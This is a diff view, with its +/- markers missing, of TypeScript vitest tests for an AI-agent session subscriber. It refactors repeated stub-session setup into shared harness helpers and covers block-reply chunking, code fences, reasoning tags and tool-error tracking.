import type { AssistantMessage } from "@mariozechner/pi-ai";
import { describe, expect, it, vi } from "vitest";
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
type StubSession = {
subscribe: (fn: (evt: unknown) => void) => () => void;
};
describe("subscribeEmbeddedPiSession", () => {
it("emits block replies on text_end and does not duplicate on message_end", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
function createTextEndBlockReplyHarness() {
const { session, emit } = createStubSessionHarness();
const onBlockReply = vi.fn();
const subscription = subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
session,
runId: "run",
onBlockReply,
blockReplyBreak: "text_end",
});
handler?.({
return { emit, onBlockReply, subscription };
}
it("emits block replies on text_end and does not duplicate on message_end", () => {
const { emit, onBlockReply, subscription } = createTextEndBlockReplyHarness();
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
@@ -34,7 +30,7 @@ describe("subscribeEmbeddedPiSession", () => {
},
});
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
@@ -52,32 +48,17 @@ describe("subscribeEmbeddedPiSession", () => {
content: [{ type: "text", text: "Hello block" }],
} as AssistantMessage;
handler?.({ type: "message_end", message: assistantMessage });
emit({ type: "message_end", message: assistantMessage });
expect(onBlockReply).toHaveBeenCalledTimes(1);
expect(subscription.assistantTexts).toEqual(["Hello block"]);
});
it("does not duplicate when message_end flushes and a late text_end arrives", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { emit, onBlockReply, subscription } = createTextEndBlockReplyHarness();
const onBlockReply = vi.fn();
emit({ type: "message_start", message: { role: "assistant" } });
const subscription = subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
onBlockReply,
blockReplyBreak: "text_end",
});
handler?.({ type: "message_start", message: { role: "assistant" } });
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
@@ -92,13 +73,13 @@ describe("subscribeEmbeddedPiSession", () => {
} as AssistantMessage;
// Simulate a provider that ends the message without emitting text_end.
handler?.({ type: "message_end", message: assistantMessage });
emit({ type: "message_end", message: assistantMessage });
expect(onBlockReply).toHaveBeenCalledTimes(1);
expect(subscription.assistantTexts).toEqual(["Hello block"]);
// Some providers can still emit a late text_end; this must not re-emit.
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {

View File

@@ -1,11 +1,8 @@
import type { AssistantMessage } from "@mariozechner/pi-ai";
import { describe, expect, it, vi } from "vitest";
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
type StubSession = {
subscribe: (fn: (evt: unknown) => void) => () => void;
};
describe("subscribeEmbeddedPiSession", () => {
const THINKING_TAG_CASES = [
{ tag: "think", open: "<think>", close: "</think>" },
@@ -14,25 +11,24 @@ describe("subscribeEmbeddedPiSession", () => {
{ tag: "antthinking", open: "<antthinking>", close: "</antthinking>" },
] as const;
it("emits reasoning as a separate message when enabled", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
function createReasoningBlockReplyHarness() {
const { session, emit } = createStubSessionHarness();
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
session,
runId: "run",
onBlockReply,
blockReplyBreak: "message_end",
reasoningMode: "on",
});
return { emit, onBlockReply };
}
it("emits reasoning as a separate message when enabled", () => {
const { emit, onBlockReply } = createReasoningBlockReplyHarness();
const assistantMessage = {
role: "assistant",
content: [
@@ -41,7 +37,7 @@ describe("subscribeEmbeddedPiSession", () => {
],
} as AssistantMessage;
handler?.({ type: "message_end", message: assistantMessage });
emit({ type: "message_end", message: assistantMessage });
expect(onBlockReply).toHaveBeenCalledTimes(2);
expect(onBlockReply.mock.calls[0][0].text).toBe("Reasoning:\n_Because it helps_");
@@ -50,23 +46,7 @@ describe("subscribeEmbeddedPiSession", () => {
it.each(THINKING_TAG_CASES)(
"promotes <%s> tags to thinking blocks at write-time",
({ open, close }) => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
onBlockReply,
blockReplyBreak: "message_end",
reasoningMode: "on",
});
const { emit, onBlockReply } = createReasoningBlockReplyHarness();
const assistantMessage = {
role: "assistant",
@@ -78,7 +58,7 @@ describe("subscribeEmbeddedPiSession", () => {
],
} as AssistantMessage;
handler?.({ type: "message_end", message: assistantMessage });
emit({ type: "message_end", message: assistantMessage });
expect(onBlockReply).toHaveBeenCalledTimes(2);
expect(onBlockReply.mock.calls[0][0].text).toBe("Reasoning:\n_Because it helps_");

View File

@@ -1,8 +1,8 @@
import type { AssistantMessage } from "@mariozechner/pi-ai";
import { describe, expect, it, vi } from "vitest";
import {
createStubSessionHarness,
extractAgentEventPayloads,
emitMessageStartAndEndForAssistantText,
expectSingleAgentEventText,
} from "./pi-embedded-subscribe.e2e-harness.js";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
@@ -60,38 +60,21 @@ describe("subscribeEmbeddedPiSession", () => {
enforceFinalTag: true,
onAgentEvent,
});
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text: "Hello world" }],
} as AssistantMessage;
emit({ type: "message_start", message: assistantMessage });
emit({ type: "message_end", message: assistantMessage });
const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls);
expect(payloads).toHaveLength(1);
expect(payloads[0]?.text).toBe("Hello world");
expect(payloads[0]?.delta).toBe("Hello world");
emitMessageStartAndEndForAssistantText({ emit, text: "Hello world" });
expectSingleAgentEventText(onAgentEvent.mock.calls, "Hello world");
});
it("does not require <final> when enforcement is off", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { session, emit } = createStubSessionHarness();
const onPartialReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
session,
runId: "run",
onPartialReply,
});
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
@@ -104,18 +87,12 @@ describe("subscribeEmbeddedPiSession", () => {
expect(payload.text).toBe("Hello world");
});
it("emits block replies on message_end", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { session, emit } = createStubSessionHarness();
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
session,
runId: "run",
onBlockReply,
blockReplyBreak: "message_end",
@@ -126,7 +103,7 @@ describe("subscribeEmbeddedPiSession", () => {
content: [{ type: "text", text: "Hello block" }],
} as AssistantMessage;
handler?.({ type: "message_end", message: assistantMessage });
emit({ type: "message_end", message: assistantMessage });
expect(onBlockReply).toHaveBeenCalled();
const payload = onBlockReply.mock.calls[0][0];

View File

@@ -1,30 +1,17 @@
import { describe, expect, it, vi } from "vitest";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
type StubSession = {
subscribe: (fn: (evt: unknown) => void) => () => void;
};
import { createSubscribedSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
describe("subscribeEmbeddedPiSession", () => {
it("includes canvas action metadata in tool summaries", async () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onToolResult = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
const toolHarness = createSubscribedSessionHarness({
runId: "run-canvas-tool",
verboseLevel: "on",
onToolResult,
});
handler?.({
toolHarness.emit({
type: "tool_execution_start",
toolName: "canvas",
toolCallId: "tool-canvas-1",
@@ -42,24 +29,15 @@ describe("subscribeEmbeddedPiSession", () => {
expect(payload.text).toContain("/tmp/a2ui.jsonl");
});
it("skips tool summaries when shouldEmitToolResult is false", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onToolResult = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
const toolHarness = createSubscribedSessionHarness({
runId: "run-tool-off",
shouldEmitToolResult: () => false,
onToolResult,
});
handler?.({
toolHarness.emit({
type: "tool_execution_start",
toolName: "read",
toolCallId: "tool-2",
@@ -69,25 +47,16 @@ describe("subscribeEmbeddedPiSession", () => {
expect(onToolResult).not.toHaveBeenCalled();
});
it("emits tool summaries when shouldEmitToolResult overrides verbose", async () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onToolResult = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
const toolHarness = createSubscribedSessionHarness({
runId: "run-tool-override",
verboseLevel: "off",
shouldEmitToolResult: () => true,
onToolResult,
});
handler?.({
toolHarness.emit({
type: "tool_execution_start",
toolName: "read",
toolCallId: "tool-3",

View File

@@ -1,100 +1,43 @@
import type { AssistantMessage } from "@mariozechner/pi-ai";
import { describe, expect, it, vi } from "vitest";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
type StubSession = {
subscribe: (fn: (evt: unknown) => void) => () => void;
};
import {
createParagraphChunkedBlockReplyHarness,
emitAssistantTextDeltaAndEnd,
extractTextPayloads,
} from "./pi-embedded-subscribe.e2e-harness.js";
describe("subscribeEmbeddedPiSession", () => {
it("keeps indented fenced blocks intact", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
const { emit } = createParagraphChunkedBlockReplyHarness({
onBlockReply,
blockReplyBreak: "message_end",
blockReplyChunking: {
chunking: {
minChars: 5,
maxChars: 30,
breakPreference: "paragraph",
},
});
const text = "Intro\n\n ```js\n const x = 1;\n ```\n\nOutro";
handler?.({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
type: "text_delta",
delta: text,
},
});
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text }],
} as AssistantMessage;
handler?.({ type: "message_end", message: assistantMessage });
emitAssistantTextDeltaAndEnd({ emit, text });
expect(onBlockReply).toHaveBeenCalledTimes(3);
expect(onBlockReply.mock.calls[1][0].text).toBe(" ```js\n const x = 1;\n ```");
});
it("accepts longer fence markers for close", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
const { emit } = createParagraphChunkedBlockReplyHarness({
onBlockReply,
blockReplyBreak: "message_end",
blockReplyChunking: {
chunking: {
minChars: 10,
maxChars: 30,
breakPreference: "paragraph",
},
});
const text = "Intro\n\n````md\nline1\nline2\n````\n\nOutro";
handler?.({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
type: "text_delta",
delta: text,
},
});
emitAssistantTextDeltaAndEnd({ emit, text });
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text }],
} as AssistantMessage;
handler?.({ type: "message_end", message: assistantMessage });
const payloadTexts = onBlockReply.mock.calls
.map((call) => call[0]?.text)
.filter((value): value is string => typeof value === "string");
const payloadTexts = extractTextPayloads(onBlockReply.mock.calls);
expect(payloadTexts.length).toBeGreaterThan(0);
const combined = payloadTexts.join(" ").replace(/\s+/g, " ").trim();
expect(combined).toContain("````md");

View File

@@ -1,101 +1,37 @@
import type { AssistantMessage } from "@mariozechner/pi-ai";
import { describe, expect, it, vi } from "vitest";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
type StubSession = {
subscribe: (fn: (evt: unknown) => void) => () => void;
};
import {
createParagraphChunkedBlockReplyHarness,
emitAssistantTextDeltaAndEnd,
expectFencedChunks,
} from "./pi-embedded-subscribe.e2e-harness.js";
describe("subscribeEmbeddedPiSession", () => {
it("reopens fenced blocks when splitting inside them", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
const { emit } = createParagraphChunkedBlockReplyHarness({
onBlockReply,
blockReplyBreak: "message_end",
blockReplyChunking: {
chunking: {
minChars: 10,
maxChars: 30,
breakPreference: "paragraph",
},
});
const text = `\`\`\`txt\n${"a".repeat(80)}\n\`\`\``;
handler?.({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
type: "text_delta",
delta: text,
},
});
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text }],
} as AssistantMessage;
handler?.({ type: "message_end", message: assistantMessage });
expect(onBlockReply.mock.calls.length).toBeGreaterThan(1);
for (const call of onBlockReply.mock.calls) {
const chunk = call[0].text as string;
expect(chunk.startsWith("```txt")).toBe(true);
const fenceCount = chunk.match(/```/g)?.length ?? 0;
expect(fenceCount).toBeGreaterThanOrEqual(2);
}
emitAssistantTextDeltaAndEnd({ emit, text });
expectFencedChunks(onBlockReply.mock.calls, "```txt");
});
it("avoids splitting inside tilde fences", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
const { emit } = createParagraphChunkedBlockReplyHarness({
onBlockReply,
blockReplyBreak: "message_end",
blockReplyChunking: {
chunking: {
minChars: 5,
maxChars: 25,
breakPreference: "paragraph",
},
});
const text = "Intro\n\n~~~sh\nline1\nline2\n~~~\n\nOutro";
handler?.({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
type: "text_delta",
delta: text,
},
});
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text }],
} as AssistantMessage;
handler?.({ type: "message_end", message: assistantMessage });
emitAssistantTextDeltaAndEnd({ emit, text });
expect(onBlockReply).toHaveBeenCalledTimes(3);
expect(onBlockReply.mock.calls[1][0].text).toBe("~~~sh\nline1\nline2\n~~~");

View File

@@ -1,60 +1,28 @@
import type { AssistantMessage } from "@mariozechner/pi-ai";
import { describe, expect, it, vi } from "vitest";
import {
createParagraphChunkedBlockReplyHarness,
emitAssistantTextDeltaAndEnd,
expectFencedChunks,
} from "./pi-embedded-subscribe.e2e-harness.js";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
type StubSession = {
subscribe: (fn: (evt: unknown) => void) => () => void;
};
type SessionEventHandler = (evt: unknown) => void;
describe("subscribeEmbeddedPiSession", () => {
it("splits long single-line fenced blocks with reopen/close", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
const { emit } = createParagraphChunkedBlockReplyHarness({
onBlockReply,
blockReplyBreak: "message_end",
blockReplyChunking: {
chunking: {
minChars: 10,
maxChars: 40,
breakPreference: "paragraph",
},
});
const text = `\`\`\`json\n${"x".repeat(120)}\n\`\`\``;
handler?.({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
type: "text_delta",
delta: text,
},
});
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text }],
} as AssistantMessage;
handler?.({ type: "message_end", message: assistantMessage });
expect(onBlockReply.mock.calls.length).toBeGreaterThan(1);
for (const call of onBlockReply.mock.calls) {
const chunk = call[0].text as string;
expect(chunk.startsWith("```json")).toBe(true);
const fenceCount = chunk.match(/```/g)?.length ?? 0;
expect(fenceCount).toBeGreaterThanOrEqual(2);
}
emitAssistantTextDeltaAndEnd({ emit, text });
expectFencedChunks(onBlockReply.mock.calls, "```json");
});
it("waits for auto-compaction retry and clears buffered text", async () => {
const listeners: SessionEventHandler[] = [];

View File

@@ -1,43 +1,23 @@
import type { AssistantMessage } from "@mariozechner/pi-ai";
import { describe, expect, it, vi } from "vitest";
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
import {
createParagraphChunkedBlockReplyHarness,
emitAssistantTextDeltaAndEnd,
} from "./pi-embedded-subscribe.e2e-harness.js";
describe("subscribeEmbeddedPiSession", () => {
it("streams soft chunks with paragraph preference", () => {
const { session, emit } = createStubSessionHarness();
const onBlockReply = vi.fn();
const subscription = subscribeEmbeddedPiSession({
session,
runId: "run",
const { emit, subscription } = createParagraphChunkedBlockReplyHarness({
onBlockReply,
blockReplyBreak: "message_end",
blockReplyChunking: {
chunking: {
minChars: 5,
maxChars: 25,
breakPreference: "paragraph",
},
});
const text = "First block line\n\nSecond block line";
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
type: "text_delta",
delta: text,
},
});
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text }],
} as AssistantMessage;
emit({ type: "message_end", message: assistantMessage });
emitAssistantTextDeltaAndEnd({ emit, text });
expect(onBlockReply).toHaveBeenCalledTimes(2);
expect(onBlockReply.mock.calls[0][0].text).toBe("First block line");
@@ -45,39 +25,18 @@ describe("subscribeEmbeddedPiSession", () => {
expect(subscription.assistantTexts).toEqual(["First block line", "Second block line"]);
});
it("avoids splitting inside fenced code blocks", () => {
const { session, emit } = createStubSessionHarness();
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session,
runId: "run",
const { emit } = createParagraphChunkedBlockReplyHarness({
onBlockReply,
blockReplyBreak: "message_end",
blockReplyChunking: {
chunking: {
minChars: 5,
maxChars: 25,
breakPreference: "paragraph",
},
});
const text = "Intro\n\n```bash\nline1\nline2\n```\n\nOutro";
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
type: "text_delta",
delta: text,
},
});
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text }],
} as AssistantMessage;
emit({ type: "message_end", message: assistantMessage });
emitAssistantTextDeltaAndEnd({ emit, text });
expect(onBlockReply).toHaveBeenCalledTimes(3);
expect(onBlockReply.mock.calls[0][0].text).toBe("Intro");

View File

@@ -2,6 +2,8 @@ import type { AssistantMessage } from "@mariozechner/pi-ai";
import { describe, expect, it, vi } from "vitest";
import {
createStubSessionHarness,
emitMessageStartAndEndForAssistantText,
expectSingleAgentEventText,
extractAgentEventPayloads,
} from "./pi-embedded-subscribe.e2e-harness.js";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
@@ -18,6 +20,54 @@ describe("subscribeEmbeddedPiSession", () => {
{ tag: "antthinking", open: "<antthinking>", close: "</antthinking>" },
] as const;
function createAgentEventHarness(options?: { runId?: string; sessionKey?: string }) {
const { session, emit } = createStubSessionHarness();
const onAgentEvent = vi.fn();
subscribeEmbeddedPiSession({
session,
runId: options?.runId ?? "run",
onAgentEvent,
sessionKey: options?.sessionKey,
});
return { emit, onAgentEvent };
}
function createToolErrorHarness(runId: string) {
const { session, emit } = createStubSessionHarness();
const subscription = subscribeEmbeddedPiSession({
session,
runId,
sessionKey: "test-session",
});
return { emit, subscription };
}
function emitToolRun(params: {
emit: (evt: unknown) => void;
toolName: string;
toolCallId: string;
args?: Record<string, unknown>;
isError: boolean;
result: unknown;
}): void {
params.emit({
type: "tool_execution_start",
toolName: params.toolName,
toolCallId: params.toolCallId,
args: params.args,
});
params.emit({
type: "tool_execution_end",
toolName: params.toolName,
toolCallId: params.toolCallId,
isError: params.isError,
result: params.result,
});
}
it.each(THINKING_TAG_CASES)(
"streams <%s> reasoning via onReasoningStream without leaking into final text",
({ open, close }) => {
@@ -152,37 +202,21 @@ describe("subscribeEmbeddedPiSession", () => {
);
it("emits delta chunks in agent events for streaming assistant text", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { emit, onAgentEvent } = createAgentEventHarness();
const onAgentEvent = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
onAgentEvent,
});
handler?.({ type: "message_start", message: { role: "assistant" } });
handler?.({
emit({ type: "message_start", message: { role: "assistant" } });
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_delta", delta: "Hello" },
});
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_delta", delta: " world" },
});
const payloads = onAgentEvent.mock.calls
.map((call) => call[0]?.data as Record<string, unknown> | undefined)
.filter((value): value is Record<string, unknown> => Boolean(value));
const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls);
expect(payloads[0]?.text).toBe("Hello");
expect(payloads[0]?.delta).toBe("Hello");
expect(payloads[1]?.text).toBe("Hello world");
@@ -199,6 +233,12 @@ describe("subscribeEmbeddedPiSession", () => {
runId: "run",
onAgentEvent,
});
emitMessageStartAndEndForAssistantText({ emit, text: "Hello world" });
expectSingleAgentEventText(onAgentEvent.mock.calls, "Hello world");
});
it("does not emit duplicate agent events when message_end repeats", () => {
const { emit, onAgentEvent } = createAgentEventHarness();
const assistantMessage = {
role: "assistant",
@@ -207,153 +247,66 @@ describe("subscribeEmbeddedPiSession", () => {
emit({ type: "message_start", message: assistantMessage });
emit({ type: "message_end", message: assistantMessage });
emit({ type: "message_end", message: assistantMessage });
const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls);
expect(payloads).toHaveLength(1);
expect(payloads[0]?.text).toBe("Hello world");
expect(payloads[0]?.delta).toBe("Hello world");
});
it("does not emit duplicate agent events when message_end repeats", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onAgentEvent = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
onAgentEvent,
});
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text: "Hello world" }],
} as AssistantMessage;
handler?.({ type: "message_start", message: assistantMessage });
handler?.({ type: "message_end", message: assistantMessage });
handler?.({ type: "message_end", message: assistantMessage });
const payloads = onAgentEvent.mock.calls
.map((call) => call[0]?.data as Record<string, unknown> | undefined)
.filter((value): value is Record<string, unknown> => Boolean(value));
expect(payloads).toHaveLength(1);
});
it("skips agent events when cleaned text rewinds mid-stream", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { emit, onAgentEvent } = createAgentEventHarness();
const onAgentEvent = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
onAgentEvent,
});
handler?.({ type: "message_start", message: { role: "assistant" } });
handler?.({
emit({ type: "message_start", message: { role: "assistant" } });
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_delta", delta: "MEDIA:" },
});
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_delta", delta: " https://example.com/a.png\nCaption" },
});
const payloads = onAgentEvent.mock.calls
.map((call) => call[0]?.data as Record<string, unknown> | undefined)
.filter((value): value is Record<string, unknown> => Boolean(value));
const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls);
expect(payloads).toHaveLength(1);
expect(payloads[0]?.text).toBe("MEDIA:");
});
it("emits agent events when media arrives without text", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { emit, onAgentEvent } = createAgentEventHarness();
const onAgentEvent = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
onAgentEvent,
});
handler?.({ type: "message_start", message: { role: "assistant" } });
handler?.({
emit({ type: "message_start", message: { role: "assistant" } });
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_delta", delta: "MEDIA: https://example.com/a.png" },
});
const payloads = onAgentEvent.mock.calls
.map((call) => call[0]?.data as Record<string, unknown> | undefined)
.filter((value): value is Record<string, unknown> => Boolean(value));
const payloads = extractAgentEventPayloads(onAgentEvent.mock.calls);
expect(payloads).toHaveLength(1);
expect(payloads[0]?.text).toBe("");
expect(payloads[0]?.mediaUrls).toEqual(["https://example.com/a.png"]);
});
it("keeps unresolved mutating failure when an unrelated tool succeeds", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { emit, subscription } = createToolErrorHarness("run-tools-1");
const subscription = subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run-tools-1",
sessionKey: "test-session",
});
handler?.({
type: "tool_execution_start",
emitToolRun({
emit,
toolName: "write",
toolCallId: "w1",
args: { path: "/tmp/demo.txt", content: "next" },
});
handler?.({
type: "tool_execution_end",
toolName: "write",
toolCallId: "w1",
isError: true,
result: { error: "disk full" },
});
expect(subscription.getLastToolError()?.toolName).toBe("write");
handler?.({
type: "tool_execution_start",
emitToolRun({
emit,
toolName: "read",
toolCallId: "r1",
args: { path: "/tmp/demo.txt" },
});
handler?.({
type: "tool_execution_end",
toolName: "read",
toolCallId: "r1",
isError: false,
result: { text: "ok" },
});
@@ -362,45 +315,23 @@ describe("subscribeEmbeddedPiSession", () => {
});
it("clears unresolved mutating failure when the same action succeeds", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { emit, subscription } = createToolErrorHarness("run-tools-2");
const subscription = subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run-tools-2",
sessionKey: "test-session",
});
handler?.({
type: "tool_execution_start",
emitToolRun({
emit,
toolName: "write",
toolCallId: "w1",
args: { path: "/tmp/demo.txt", content: "next" },
});
handler?.({
type: "tool_execution_end",
toolName: "write",
toolCallId: "w1",
isError: true,
result: { error: "disk full" },
});
expect(subscription.getLastToolError()?.toolName).toBe("write");
handler?.({
type: "tool_execution_start",
emitToolRun({
emit,
toolName: "write",
toolCallId: "w2",
args: { path: "/tmp/demo.txt", content: "retry" },
});
handler?.({
type: "tool_execution_end",
toolName: "write",
toolCallId: "w2",
isError: false,
result: { ok: true },
});
@@ -409,44 +340,22 @@ describe("subscribeEmbeddedPiSession", () => {
});
it("keeps unresolved mutating failure when same tool succeeds on a different target", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { emit, subscription } = createToolErrorHarness("run-tools-3");
const subscription = subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run-tools-3",
sessionKey: "test-session",
});
handler?.({
type: "tool_execution_start",
emitToolRun({
emit,
toolName: "write",
toolCallId: "w1",
args: { path: "/tmp/a.txt", content: "first" },
});
handler?.({
type: "tool_execution_end",
toolName: "write",
toolCallId: "w1",
isError: true,
result: { error: "disk full" },
});
handler?.({
type: "tool_execution_start",
emitToolRun({
emit,
toolName: "write",
toolCallId: "w2",
args: { path: "/tmp/b.txt", content: "second" },
});
handler?.({
type: "tool_execution_end",
toolName: "write",
toolCallId: "w2",
isError: false,
result: { ok: true },
});
@@ -455,44 +364,22 @@ describe("subscribeEmbeddedPiSession", () => {
});
it("keeps unresolved session_status model-mutation failure on later read-only status success", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { emit, subscription } = createToolErrorHarness("run-tools-4");
const subscription = subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run-tools-4",
sessionKey: "test-session",
});
handler?.({
type: "tool_execution_start",
emitToolRun({
emit,
toolName: "session_status",
toolCallId: "s1",
args: { sessionKey: "agent:main:main", model: "openai/gpt-4o" },
});
handler?.({
type: "tool_execution_end",
toolName: "session_status",
toolCallId: "s1",
isError: true,
result: { error: "Model not allowed." },
});
handler?.({
type: "tool_execution_start",
emitToolRun({
emit,
toolName: "session_status",
toolCallId: "s2",
args: { sessionKey: "agent:main:main" },
});
handler?.({
type: "tool_execution_end",
toolName: "session_status",
toolCallId: "s2",
isError: false,
result: { ok: true },
});
@@ -501,20 +388,8 @@ describe("subscribeEmbeddedPiSession", () => {
});
it("emits lifecycle:error event on agent_end when last assistant message was an error", async () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onAgentEvent = vi.fn();
